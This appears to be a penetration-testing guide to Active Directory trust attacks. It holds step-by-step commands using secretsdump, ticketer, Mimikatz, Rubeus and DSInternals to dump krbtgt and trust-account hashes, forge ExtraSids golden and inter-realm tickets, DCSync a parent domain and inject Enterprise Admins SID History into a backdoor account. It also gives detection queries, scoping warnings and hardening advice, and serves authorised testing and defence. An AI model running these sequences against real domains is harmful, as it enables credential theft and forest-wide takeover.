9 min read

AD Trust Attacks

Active Directory trusts allow authentication across domain and forest boundaries. By abusing trust keys, SID History, and ExtraSids, an attacker who compromises one domain can pivot to trusted domains — potentially reaching the entire forest. This guide covers intra-forest, inter-forest, and PAM trust exploitation.

Danger

Cross-domain and cross-forest attacks have high impact. Ensure your scope explicitly covers all target domains/forests before testing trust attacks. Modifying SID History or forging inter-realm tickets affects multiple security boundaries.

Why Trust Attacks Are Critical

  • Forest-Wide Impact: Compromising the root domain's krbtgt hash gives domain admin across the entire forest via ExtraSids golden tickets.
  • Scope Expansion: Trust attacks turn a single domain compromise into multi-domain or multi-forest access.
  • Common Architecture: Most enterprises with multiple environments (dev/prod, acquisitions, partners) use AD trusts.
  • Weak Filtering: Many organizations don't enable SID filtering on intra-forest trusts, making child→parent escalation trivial.

Trust Types & Direction

Trust Type Direction SID Filtering Attack Viability
Parent-Child (Intra-forest) Bidirectional, transitive Disabled by design ExtraSids → Forest Root DA
Shortcut (Intra-forest) One-way or bidirectional Disabled by design Same as parent-child
External (Inter-forest) One-way or bidirectional Enabled Limited — SID filtering blocks most attacks
Forest (Inter-forest) One-way or bidirectional Enabled TGT delegation, shared resources, selective auth bypass
PAM Trust One-way (bastion → production) Enabled Shadow principal abuse

Trust Enumeration

trust-enumeration.sh
# PowerView — enumerate all trusts
Get-DomainTrust
Get-ForestDomain | Get-DomainTrust

# Detailed trust information
Get-DomainTrust | Select-Object SourceName, TargetName, TrustType, 
  TrustDirection, TrustAttributes

# BloodHound — visualize trust relationships
MATCH p=()-[:TrustedBy]->() RETURN p

# nltest (built-in Windows)
nltest /domain_trusts /all_trusts /v

# NetExec
nxc ldap dc01.corp.local -u user -p 'Pass123' --trusted-for-delegation

# From Linux — enumerate trusts via LDAP
ldapsearch -x -H ldap://dc01.corp.local -b "CN=System,DC=corp,DC=local" \
  "(objectClass=trustedDomain)" cn trustDirection trustType trustAttributes

SID Filtering

SID Filtering strips SIDs from foreign domains from the token during cross-trust authentication. Within a forest, SID filtering is disabled by design — this is why child→parent Domain Admin escalation always works within a forest. Cross-forest trusts have SID filtering enabled by default but can be relaxed via TREAT_AS_EXTERNAL or TrustAttribute: 0x40.

sid-filtering.ps1
# Check SID filtering status on a trust
Get-ADTrust -Filter * | Select-Object Name, Direction, 
  DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware

# Check trust attributes
netdom trust child.corp.local /domain:corp.local /quarantine

Information

TrustAttribute flags: 0x01 = Non-transitive, 0x04 = SID Filtering (quarantine), 0x08 = Forest Trust, 0x40 = TREAT_AS_EXTERNAL (relaxes SID filtering — exploitable).

Child Domain → Parent Domain (ExtraSids)

With DA in a child domain, forge a Golden Ticket with the Enterprise Admins SID from the parent domain in the ExtraSids field. Since SID filtering is disabled within a forest, the parent DC honors the EA SID and grants full access to the forest root.

Method 1: ExtraSids Golden Ticket

method-1-extrasids-golden-ticket.sh
# Prerequisites: krbtgt hash of child domain + Enterprise Admins SID of parent
# Step 1: Get child domain krbtgt hash (requires DA on child)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' -just-dc-user krbtgt

# Step 2: Get the Enterprise Admins SID from parent domain
# Enterprise Admins SID = <parent-domain-SID>-519
lookupsid.py 'child.corp.local/admin:Password1@parent-dc01.corp.local' 0

# Step 3: Forge Golden Ticket with ExtraSids
ticketer.py -nthash <krbtgt-hash> -domain-sid S-1-5-21-child \
  -domain child.corp.local -extra-sid S-1-5-21-parent-519 \
  Administrator

# Step 4: Use the ticket against parent DC
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass parent-dc01.corp.local

Method 2: Trust Key (Inter-Realm TGT)

method-2-trust-key-inter-realm-tgt.sh
# Step 1: Extract the trust key from child DC
# The trust key is the NTLM hash of the trust account (CHILD$)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' \
  -just-dc-user 'CHILD$'

# Step 2: Forge inter-realm TGT with ExtraSids
ticketer.py -nthash <trust-key-hash> -domain-sid S-1-5-21-child \
  -domain child.corp.local -extra-sid S-1-5-21-parent-519 \
  -spn krbtgt/corp.local Administrator

# Step 3: Request service ticket and access parent DC
getST.py -k -no-pass -spn cifs/parent-dc01.corp.local corp.local/Administrator
export KRB5CCNAME=Administrator@cifs_parent-dc01.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass parent-dc01.corp.local

With Mimikatz / Rubeus (Windows)

with-mimikatz-rubeus-win.ps1
# Mimikatz — Golden Ticket with ExtraSids
kerberos::golden /user:Administrator /domain:child.corp.local \
  /sid:S-1-5-21-child /krbtgt:<krbtgt-hash> \
  /sids:S-1-5-21-parent-519 /ptt

# Rubeus — create golden ticket with extra SIDs
Rubeus.exe golden /rc4:<krbtgt-hash> /user:Administrator \
  /domain:child.corp.local /sid:S-1-5-21-child \
  /sids:S-1-5-21-parent-519 /ptt

# Verify access to parent DC
dir \\parent-dc01.corp.local\c$
# DCSync the parent
lsadump::dcsync /domain:corp.local /user:corpkrbtgt

SID History Injection

SID History is an attribute designed for domain migrations — it preserves the old SID so users keep access to resources in the source domain. Attackers can inject arbitrary SIDs (including Enterprise Admins) into a user's SID History for persistent cross-domain access.

sid-history-injection.ps1
# Mimikatz — inject SID History into a user account
# Requires Domain Admin on current domain
privilege::debug
sid::patch
sid::add /sam:backdoor-user /new:S-1-5-21-parent-519

# The user now has Enterprise Admins privileges when authenticating
# This persists across password changes and even across krbtgt rotations

# DSInternals — add SID History
Stop-Service ntds -Force
Add-ADDBSidHistory -SamAccountName backdoor-user \
  -SidHistory S-1-5-21-parent-519 -DatabasePath 'C:\Windows\NTDS
tds.dit'
Start-Service ntds

Warning

High Detection Risk: SID History modifications generate Event ID 4765 (SID History added) and 4766 (SID History add failed). Most mature SOCs alert on these events.

Cross-Forest Attacks

Cross-forest trust attacks are more limited due to SID filtering. However, several vectors remain viable:

Shared Resources & Groups

shared-resources-and-groups.ps1
# Enumerate cross-forest group memberships
Get-DomainForeignGroupMember -Domain partner.com
Get-DomainForeignUser -Domain partner.com

# Find resources shared across the trust
Get-DomainObjectAcl -Domain partner.com -ResolveGUIDs | 
  Where-Object { $_.SecurityIdentifier -match 'S-1-5-21-<our-domain>' }

# BloodHound — cross-forest paths
MATCH p=()-[:MemberOf|HasSession|AdminTo*1..]->(g:Group) 
WHERE g.domain <> "CORP.LOCAL" RETURN p

TREAT_AS_EXTERNAL Abuse

If TrustAttributes includes TREAT_AS_EXTERNAL (0x40), SID filtering is relaxed — domain-local group SIDs from the trusting forest can pass through the trust boundary.

treat-as-external-abuse.sh
# Find trusts with TREAT_AS_EXTERNAL
Get-ADTrust -Filter * | Where-Object { $_.TrustAttributes -band 0x40 } |
  Select-Object Name, TrustAttributes

# Forge ticket with domain-local group SIDs from target forest
ticketer.py -nthash <trust-key> -domain-sid S-1-5-21-foreign \
  -domain foreign.com -extra-sid S-1-5-21-target-<RID> \
  -spn krbtgt/TARGET.COM Administrator

Trust Key Extraction

trust-key-extraction.sh
# Extract trust keys from a DC (requires DA)
# Mimikatz
lsadump::trust /patch

# Impacket secretsdump — trust accounts end with $
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
  -just-dc-user 'PARTNER$'

# Trust keys are the NTLM hash of the inter-realm trust password
# Used to encrypt inter-realm TGTs (krbtgt/PARTNER.COM)
# Rotate by: netdom trust corp.local /domain:partner.com /resetpw

Detection & Blue Team

Event ID Source Indicator
4765 Security SID History added to an account
4766 Security SID History add attempt failed
4768 Security TGT requested — look for inter-realm referrals with suspicious SIDs
4769 Security Cross-domain service ticket requests — unusual source domains

KQL Detection

kql-detection.txt
// Detect SID History modifications
SecurityEvent
| where EventID in (4765, 4766)
| project TimeGenerated, SubjectUserName, TargetUserName, SidHistory

// Detect Golden Ticket with ExtraSids (anomalous TGT)
SecurityEvent
| where EventID == 4768
| where TargetDomainName != ServiceInfo  // Cross-domain TGT
| project TimeGenerated, TargetUserName, TargetDomainName, IpAddress

// Detect cross-forest Kerberos activity
SecurityEvent
| where EventID == 4769
| where ServiceName contains "$"  // Trust account service tickets
| where TargetDomainName != ServiceDomainName
| project TimeGenerated, TargetUserName, ServiceName, IpAddress

Evidence Collection

The trust: Source and target domain, direction, trust attributes and SID-filtering state — Get-ADTrust output, not a summary.

The key: For trust-key abuse, the trust account whose hash you extracted and the 4662 that shows you read it.

The ticket: The inter-realm TGT and the ExtraSid it carries, plus the parent-domain action it unlocked.

The write: For SID History, the 4765 and the account you modified — this is a directory change the client must revert.

CVSS range: Child-to-parent ExtraSids: 9.8 · SID History injection: 8.8 · cross-forest TREAT_AS_EXTERNAL abuse: 8.8.

False Positive Identification

  • SID filtering disabled inside a forest: That is by design for parent-child trusts. It becomes a finding only when paired with a compromised child domain.
  • A foreign group member: Cross-forest membership is the point of a trust. It is a path, not a finding, until the group grants privilege in the target.
  • A 4765 from a migration: SID History is a migration tool and legitimate projects add entries. Check the change window and the operator account.
  • An inter-realm TGT: Referral tickets are normal Kerberos. The tell is an ExtraSid for a group the user is not a member of.
  • TREAT_AS_EXTERNAL on a legacy trust: Some old external trusts carry it for compatibility. Confirm the flag is on a trust that matters before reporting it.
  • A parent-domain access that was already granted: Enterprise Admins in the parent may legitimately hold rights in the child. Establish the baseline direction before claiming escalation.

Testing Checklist

Map before you cross

  • ☐ Enumerate every trust: direction, type, attributes, SID filtering
  • ☐ Confirm in writing that each target domain or forest is in scope
  • ☐ Identify which domain you hold DA in, and which is the parent
  • ☐ Check whether the trust key is reachable with your current rights

Cross once, prove the path

  • ☐ Forge one inter-realm ticket and perform one action in the parent
  • ☐ Prefer a read (a share listing, a single DCSync) over a sweep
  • ☐ Record anything you add to SID History so the client can remove it
  • ☐ Re-check the trust after cleanup — SID History survives password resets

Remediation & Hardening

Constrain the trust

  • • Keep quarantine (SID filtering) enabled on external and forest trusts
  • • Use selective authentication so only named users can reach resources across the boundary
  • • Remove TREAT_AS_EXTERNAL unless a documented compatibility requirement needs it

Protect the boundary

  • • Tier 0 the forest root: the parent krbtgt and trust keys are the keys to every domain below it
  • • Rotate trust keys with netdom trust /resetpw after any domain compromise, and rotate krbtgt twice
  • • Do not let a child-domain administrator hold rights in the parent by default — audit the exception list

Detect the crossing

  • • Alert on 4765/4766 (SID History) and audit the attribute across all user objects
  • • Correlate 4768/4769 across domain boundaries; a referral with an unexpected ExtraSid is the signal
  • • Log and review trust-attribute changes — a new TREAT_AS_EXTERNAL flag is a control bypass, not housekeeping